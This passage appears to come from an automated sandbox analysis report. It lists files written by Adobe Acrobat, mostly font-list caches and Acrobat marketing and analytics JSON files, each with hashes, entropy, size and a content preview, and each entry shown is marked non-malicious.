MD5:	ED3F126C3CDDDFE52949C99D6C60367C
SHA1:	835359459837741188126B01CD2999359E1C3654
SHA-256:	AD6C27A48B912A16FDFA237B88E59925D76BBA94DA1A0528F41AB82A7F505B34
SHA-512:	682A5CDA1795D8AC6624EA220E0E97D6493606D583CD3969C774B344C0862830EC9EC09A042D2A6ED82A8D073EFD10D8DCB5D4452F867ABE5573CB3313A17262
Malicious:	false
Preview:	p...... ...........Q.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8108

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8108

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341022561026583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJM3g98kUwPeUkwRe9:YvXKXRl2Zc0vkZGMbLUkee9
MD5:	E0C2A3FBF499463B70D69025BA9F190E
SHA1:	C666135EDEE581A9F05A13F9D950C288EC857823
SHA-256:	2F5A01D58F37701BF83D04FACC9117A5AB5E435F37C8C4FB7992C59FC5D8BF46
SHA-512:	CA887408E3D8C2E0AA83E36ECFB4CB78807CB74D62BFC050A0F6E648E750A9C7DA5682FC8D5185B308CE20FE158B3C69FB4040E9B0C05D5D86F238BF9144BB8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288103651577645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfBoTfXpnrPeUkwRe9:YvXKXRl2Zc0vkZGWTfXcUkee9
MD5:	899C1097A200706F35C0FDF5DC0D7D8C
SHA1:	8A49A10BB211205ACAA5F411F7C044C3AFE9575D
SHA-256:	A378757C323168B53301EB3153F2515927DECA9C2A400DE35C29BD8F24F8F8C3
SHA-512:	9453856DBCDDB421F9DE776FF2E63AB0771FA638F41DAF300D1059308A31E4DFE4D56207CF26C41AE70CDAD30941B540D7F2328C344E26673305006F0815BDCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.266515324842506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfBD2G6UpnrPeUkwRe9:YvXKXRl2Zc0vkZGR22cUkee9
MD5:	D398469DD709BCC4BFB5991EE16990ED
SHA1:	2A130304E5FC046B4F97F94392CF64C65DB51485
SHA-256:	9899D55AAC90388DB39F998FA325FF9B3376B38AD44793E48E5DC09A96B331C6
SHA-512:	6F18E496309CE4D5474DA5A7E7FA59A939A37E332492F0CD81D24A359E6C01E064444451E9906D2BEA2568932EA7A62B0C8D4FEC51AF6798B5E4222233A085D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.327249178615054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfPmwrPeUkwRe9:YvXKXRl2Zc0vkZGH56Ukee9
MD5:	E0ED1FC8FE3511D74ACA26E713F34410
SHA1:	7A42D936743484CD76A697DBDBBDC8CEE7119D94
SHA-256:	5BB7BA4B19D54B14214BF2F66BB315A86BE71EEBCA0D12D3DB2263DD075D2F5D
SHA-512:	BEAAAAC19A9818BB7A4A38C5579994F165A5F2FF2C73ED592405ACF2BB8C6B1406C3B58AE6733EFC4D12D778D58658AA48578FD044BB5CFBE83FDBB613DCEB52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684488105676565
Encrypted:	false
SSDEEP:	24:Yv6XR4zvk+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSH:YvKA5hgy6SAFv5Ah8cv/H
MD5:	9CE460C57512876BF987535D391B71B7
SHA1:	66DDFA6B5A0D4A3E1C4BEFE220DD2A95C4D46057
SHA-256:	1D93A977741774037C9FBF838D67CC2053E7F5852E85AE42B8317B3BB470A7FF
SHA-512:	D381B9193E3BAAF32445138E991E627E09D5F8A5F450765C130C3947D17558FCD5259CBF03B12B10D2F83DA56738F3B49B16C36A2B619E9F739062EE2855CDA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27020544285361
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJf8dPeUkwRe9:YvXKXRl2Zc0vkZGU8Ukee9
MD5:	233AEC7FCC4F0C40642EEC22A708C1CF
SHA1:	BE229EB38C6533627074C0BD4FAF2FF90C9F4E08
SHA-256:	983AE624706CB58E5AA3AB0E511F04353257464411B8463CB495339202FDBA9B
SHA-512:	7050974A0FF2CF5FF6852E9124E2FBDE4165400C88C9A431D0F8522BC53F4940214DAF82E794F5B938B5C446ED2953E38FF8D4A5D37E3723E883DAD784B419F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2749631452852785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfQ1rPeUkwRe9:YvXKXRl2Zc0vkZGY16Ukee9
MD5:	CB3E4829586881E76D9165569C9D39CE
SHA1:	876DAFF279D2A01B422BF1050A5B03210AA1E601
SHA-256:	44DEF63E9199050DFF2D19F10DAF6444A5AC977A67876F49610EAC594EB519FF
SHA-512:	0EC7079B95258502B24673A1B732E57ADBC2A74E361112E59582BCB09C55F48A4D1A1F3C01143EEB50478E157BADDEB74D9AA0EF50BA12D828716D2FD1AD886F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279962974480248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfFldPeUkwRe9:YvXKXRl2Zc0vkZGz8Ukee9
MD5:	E237BE6A031FCF5B3D170950DA7EC688
SHA1:	ACA205DEB88330EFA8661061BF6C7C3958F3C095
SHA-256:	B01C867B1FA7AEB27C5874E4CC7A176331F5642D92B356DBB8764B33E39D3D7F
SHA-512:	930139A1CD02826D5C60F5DA5C3F28CB9C148EAAFB00621491C2111B3B9445743744692CA23D93A5D4D049A4EBC5668DD8B6E07CBA6A6CAAB28DCB8CDE02D20E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2957299725695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfzdPeUkwRe9:YvXKXRl2Zc0vkZGb8Ukee9
MD5:	91D1CCC229E3595BCB0728FB35FFA9F6
SHA1:	93CF4B2A312D1F1BA7048833E04781932FFAA007
SHA-256:	29463A6DCBD75B8C475EB2C80CDF65295DDBA017B255D5398FB4587F99F242DF
SHA-512:	6B2DC76A6A449CDDBC51852CCE58D565E8FA6D57089E0703C3E131C4EB4B9CD5138E68B7048FCC01F4FAFF998A72B0D8B9827B3896771AF057B3A0585A6DD52C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276673093771583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfYdPeUkwRe9:YvXKXRl2Zc0vkZGg8Ukee9
MD5:	35802E5BEFF1C13B100BFDFAA382A833
SHA1:	1A3DE5340B564E15CFA345C25D556C85DEC473F6
SHA-256:	CD6F8093A9A4CFD4C6404BA37AFECFB1F3255D3D6684EB8EE4A5C1795C61F3D3
SHA-512:	2A70ED452ADF787AEC79AF38A03E598A9B5A379E2CB5C6846173883F91F172DE9E6F09A497EE047151436964CC4010F5211AE1845A849CA02CF1223C8F638D31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.262894135246107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJf+dPeUkwRe9:YvXKXRl2Zc0vkZG28Ukee9
MD5:	156D083BF7B16DD3D438605C9E9CAA82
SHA1:	3835F177FAE987E010F1ABFB7F9CC2E1EDA0DE6B
SHA-256:	81174EBBBE5193F7CE8BDBD867023E2DACB9DF37E4DCB6DA9D0279D1FE8D9B39
SHA-512:	381047F9F058A8EE898009818A7A28B49EFEE20862F068EAF9A936CB07D3BF7C317C1529721026B1F60A43285423E1FDF7068E64647BA9EEFC20425D1317D004
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.260380513825024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfbPtdPeUkwRe9:YvXKXRl2Zc0vkZGDV8Ukee9
MD5:	EA91500D588E0CC50116C87741D43739
SHA1:	CB05EDBF79409B68CB329BE655949CB5D8CE308C
SHA-256:	E73CCD74F8319C4E4DA738C94D510C4A1D7366AB4315EA3CD95B4ED00F6C74F7
SHA-512:	C68A86AA81AB140B98DB399EB4412E4448ED72229E4D53B185FE98BB2946BC91228159A25D81648E85F8065346C6FFB07AC00F7453CFF430D588174DC89D8F0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265549055331172
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJf21rPeUkwRe9:YvXKXRl2Zc0vkZG+16Ukee9
MD5:	84DB0197AB0CAC3B601A7BA2E2C71DA6
SHA1:	CFB3CD13FA45D338FC276B646B9BE54CE58D9FE4
SHA-256:	E294D75860B14C1A305F69369D99BFEBDDA4BA4265BC8DA2932E9262F5AD5144
SHA-512:	1754900A950BE0AF5A65C4DC88ADD8344645911D8763E6B71EBEE78162E536B8F2AED7B6C6DF19C78895610944593101857E6CB0773DC8CDBA078754E0B378A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659654827686688
Encrypted:	false
SSDEEP:	24:Yv6XR4zvkiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvKAVBgkDMUJUAh8cvMH
MD5:	F171F71EA983F56D0CC3C5924A779910
SHA1:	DC21428D60E4A9FA5C01A3FF3140406D2EC687D0
SHA-256:	DB7E6AC13D5627978982C848B1C6A6E210ABB202A48F46E1DBC975B9ECE979B6
SHA-512:	1F1BAB7DB7B4C302BDF641C3AD1CD8A48E1162FCDD1462E1359F5C37B74D12D89EF7A82CE139DD9D2202E3A1A767C3146B9B031419C85CA2908B5700CEE8E8E3
Malicious:	false
